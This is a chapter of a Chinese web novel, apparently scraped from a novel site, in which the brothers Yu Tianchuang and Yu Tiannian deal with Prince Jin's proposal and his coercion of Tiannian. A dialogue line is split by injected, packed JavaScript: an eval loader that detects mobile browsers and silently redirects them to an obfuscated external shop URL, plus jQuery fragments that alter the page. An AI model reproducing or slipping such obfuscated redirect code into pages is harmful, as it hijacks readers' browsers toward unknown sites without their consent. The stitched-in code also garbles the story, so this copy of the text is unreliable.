36.第 36 章

作品:《脏月光

    徐承闻言,眸中闪过一丝意外,“你知晓他?”


    虞天怆面上浮起一抹笑意,“自然,那桩旧事在京城闹得沸沸扬扬,连翘楼名动天下的花魁被爆出是男儿身,听闻他是为了筹钱救治病重的幼弟才出此下策,只是后来便如人间蒸发般销声匿迹了。”


    徐承静静听着,指尖无意识地摩挲着腰间玉佩,语气郑重道:“本王对令弟一往情深,还望贵府能将舍弟许配给本王。”


    一直垂首立在树下的虞天念听到这话,只觉五雷轰顶,整个人僵在原地,根本不敢抬头窥探虞天怆的神色,他藏在宽大袖袍中的手掌死死攥紧,生怕兄长下一秒便会露出厌弃的神情。


    “两男子婚配,武安侯定不会接受,”虞天怆的视线落在瑟瑟发抖的虞天念身上,声音出奇地平淡,“念儿,你去让马车过来,本王与晋王殿下有几句话要说。”


    虞天念慌乱地抬起头,撞进兄长的眼眸里,下意识颤声道:“哥……”


    这一声里含了慌乱、无措与哀求,似乎极力想要辩解,告诉兄长这并非他的本意,可虞天怆只是那样平静地看着他,“还不快去。”


    简单的四个字,带着不容置疑的语气,虞天念咬了咬牙,眼眶微红,最终只能低下头,快步离开了这片桃林,心乱如麻。


    待虞天念走后,四周重归寂静,唯有风声穿过枝叶的沙沙声,徐承按捺不住心头的急切,“你有办法让武安侯接受这门婚事吗?”


    虞天怆没有直接回答,他从上到下细细打量了一番徐承,嘴角缓缓勾起一抹似笑非笑的弧度,“晋王殿下还真是……痴情啊。”


    徐承微微一怔,虞天怆慢条斯理地轻声道,每一个字都像是敲在徐承的心上:“一别便是六年沙场,殿下就这么忘不了阿瑜吗?可我记得,当年阿瑜让你奔赴沙场,便是想助你离开这风波诡谲的京城,以此保全性命。如今你功成名就回来,是为了你口中所谓的心上人,还是……放不下你想要夺业的野心呢?”


    此话一出,徐承整个人如遭雷击,愣在原地,仿佛听见了最不可思议的话语,他猛地睁大了眼睛,瞳孔剧烈收缩,声音因极度的震惊而微微发颤:“你是——”


    话音未落,虞天怆掩唇低咳了两声,那咳嗽声在风中显得格外单薄,他大病初愈,身子骨还未好透,眉宇间带着一抹淡淡的病容,但当他再次抬眸看向徐承时,那双眼睛里却是一片清明与冷静,嘴角的弧度甚至带着几分凉薄。


    他轻飘飘地开口,声音如碎玉投珠:“殿下来到这慈云寺,应该不是来等阿瑜的吧?你见到了她,不是吗?所以……还有什么是殿下不明白的呢。”


    徐承向前迈了一大步,靴底碾碎了地上的落红,声音里透着难以掩饰的焦灼与急切:“既然是这样,那你更应该和我一起走——留你在虞家,我怎能安心?”


    虞天怆静静地立在原地,身形单薄如纸,仿佛一阵风便能吹倒,他微微垂下眼帘,长睫在眼睑处投下一片淡淡的阴影,遮去了眸中所有的情绪。


    良久,他才轻声道:“当年我与殿下说过,在下有一个弟弟。”


    这声音不轻不重,却像是一盆冰水兜头浇下,“倘若殿下不想让在下为难,”虞天怆缓缓抬眼,目光清冷如霜,“还请离舍弟远一些吧,他受不起殿下的这份‘深情’。”


    徐承呆愣地站在虞天怆面前,仿若一尊风化的雕塑,许久,嘴角才勉强扯出一抹苦涩的弧度,眼底满是痛色:“当真没有其他办法了吗?我对你的忠心一如既往,哪怕你要这江山,我也——”


    “殿下。”这句话未及说完,便被虞天怆一声轻笑打断。


    那笑声极轻,却带着几分彻骨的凉薄,又夹杂着微不可查的讥讽,虞天怆轻轻回眸,目光掠过这漫天飞舞的桃林,视线却并未聚焦在任何一处,仿佛在看一场与自己无关的繁华。


    “虞家不会是殿下的敌人,”他收回视线,语气平淡得像是在谈论天气,“所以殿下也莫要再借虞家的力了。这盘棋局,殿下还是自己下吧。”


    话一出,徐承不甘心地攥紧了拳,他猛地向前一步,试图冲破这层无形的屏障:“可是你就真的这么甘愿在虞家?你明明……”


    虞天怆凉凉地抬起眼皮,那一瞬间,他眼里的寒意如刀锋出鞘,凛冽而决绝,竟让徐承这一步硬生生地钉在原地,无法再向前分毫。


    虞天怆淡淡地朝徐承行了一礼,动作疏离而客套:“时候不早了,殿下,就此别过。”


    说完,他转身离开,宽大的衣袖在空中划出一道冷漠的弧线,风吹过桃林,卷起几片花瓣落在徐承的肩头,却再无人替他拂去,只能看着虞天怆渐行渐远。


    慈云寺斑驳的山门前,那辆挂着虞府徽记的马车显得格外肃穆,虞天念在车旁来回踱步,鞋底碾碎了地上的青苔,直到看见那抹熟悉的身影出现在山门处,他才猛地停下脚步,几乎是踉跄着迎了上去。


    “哥!”虞天念急切地扶住虞天怆的手臂,目光在他身上上下打量,声音里满是藏不住的惊慌,“晋王殿下有没有为难你?”


    虞天怆没有像往常那样回以安抚的浅笑,只是淡淡地借力扶住虞天念的手背,指尖冰凉,“上车,回虞府。”


    那语气疏离而冷淡,虞天念心里“咯噔”一声,他不敢多问,只能惴惴不安地扶着兄长上了马车。


    车轮碾过青石板路,发出辚辚的声响,虞天怆卧在软榻的一侧,闭目养神,修长的手指搭在额前,遮住了那双让人捉摸不透的眼。


    虞天念坐在对面,如坐针毡,几次张口想要打破这令人窒息的沉默,却又不知从何说起。


    终于,虞天念咬了咬牙,像是下定了某种决心:“哥,晋王刚才……究竟与你说了些什么?”


    虞天怆没有睁眼,声音轻飘飘地传来,仿佛隔着一层云雾:“晋王殿下对你情根深重,甚至向为兄提亲,你怎么看?”


    这句话像是一记重锤,砸得虞天念心凉了一截,他知道瞒不住了,横下心豁出去道:“念儿对晋王并无意!是……


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404311|197844||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是晋王他强迫念儿的!”


    闻言,虞天怆终于睁开了眼,那双眸子幽深如潭,视线在虞天念脸上扫过,他微微皱了眉,语气听不出喜怒:“晋王强迫于你?”


    虞天念迎着他的目光,心下不安地点了点头,手指死死绞着衣角,虞天怆没有吭声,车厢内陷入了死一般的寂静,这沉默让虞天念极其不安,若是往常的兄长,得知他受此屈辱,早已露出杀意,绝不会放过对方。可如今的虞天怆太过平静了,平静得让虞天念怀疑,兄长是否已经知道了什么。


    “晋王强迫于你,而你委身于他,是为了给为兄求药吗?”


    虞天念瞳孔微缩,咬了咬唇,却发不出半点声音,这犹疑的片刻,虞天怆的眉眼沉了下去,原本清俊的面容染上了一层寒霜,他缓缓伸出一只胳膊,声音低沉:“过来。”


    虞天念不敢违逆,来到软榻边,虞天怆伸手一搂,将他勾进自己怀中,两人的脸凑得极近,近到连彼此的呼吸都纠缠在一起,虞天怆的手指冰冷,勾住了虞天念的衣领,向下一拉。


    “哥!”虞天念惊呼一声,下意识想要遮掩。


    虞天怆没有听他的话,只是自顾自地掀开了他的中衣,在那白皙的肩头,几枚青紫的指印赫然在目,那是徐承方才留下的痕迹,在如雪的肌肤上显得触目惊心。


    虞天怆微凉的指腹慢慢地覆过那几处红印,动作轻柔得仿佛在触碰一件易碎的瓷器,却在虞天念身上掀起了惊涛骇浪。


    羞耻、恐惧、还有某种隐秘的渴望交织在一起,他从未如此刻这般战栗过,几乎是缩在了虞天怆的怀里,不安地颤声道:“哥……”


    虞天怆的声音在他耳畔响起,低沉、轻柔,“恶心吗?”


    虞天念微微一怔,没想到兄长问的是这个,自己喜欢男子,此前从未告诉过兄长,哪怕知道虞天怆曾养过男宠,他也只敢将这份心思烂在肚子里。


    “哥……”虞天念握住虞天怆悬在半空的手指,眼睫不安地颤抖着,脆弱得让人心生怜惜,“念儿是喜欢男人的。”


    虞天怆没有说话,只是静静地看着他,片刻后,他伸手将虞天念凌乱的衣衫一件件整理好,动作细致而温柔,手掌轻轻覆在虞天念的脑后,将他按向自己的胸口,“哥知道。”


    虞天念心里一颤,在兄长怀里小声问道:“哥哥是什么时候知道的?”


    “念儿的事,哥有什么不知道的?”


    虞天念心下稍松,紧绷的身体终于软了下来。


    虞天怆忽然问道:“晋王这件事,你打算怎么办?”


    虞天念的心瞬间又提了起来,他仿佛要证明自己的真心一般,立刻急切地表态:“念儿不愿意委身于晋王!”


    虞天怆垂眸看着他,虞天念下意识地和兄长的眼神撞了个正着,那双眼睛清俊依旧,却深不见底,逼得他微窒了呼吸。


    虞天怆闭上眼,只是抱着怀里的虞天念,声音在车厢内回荡,“好,你不愿便不去,天塌下来,也有虞府在你身后。”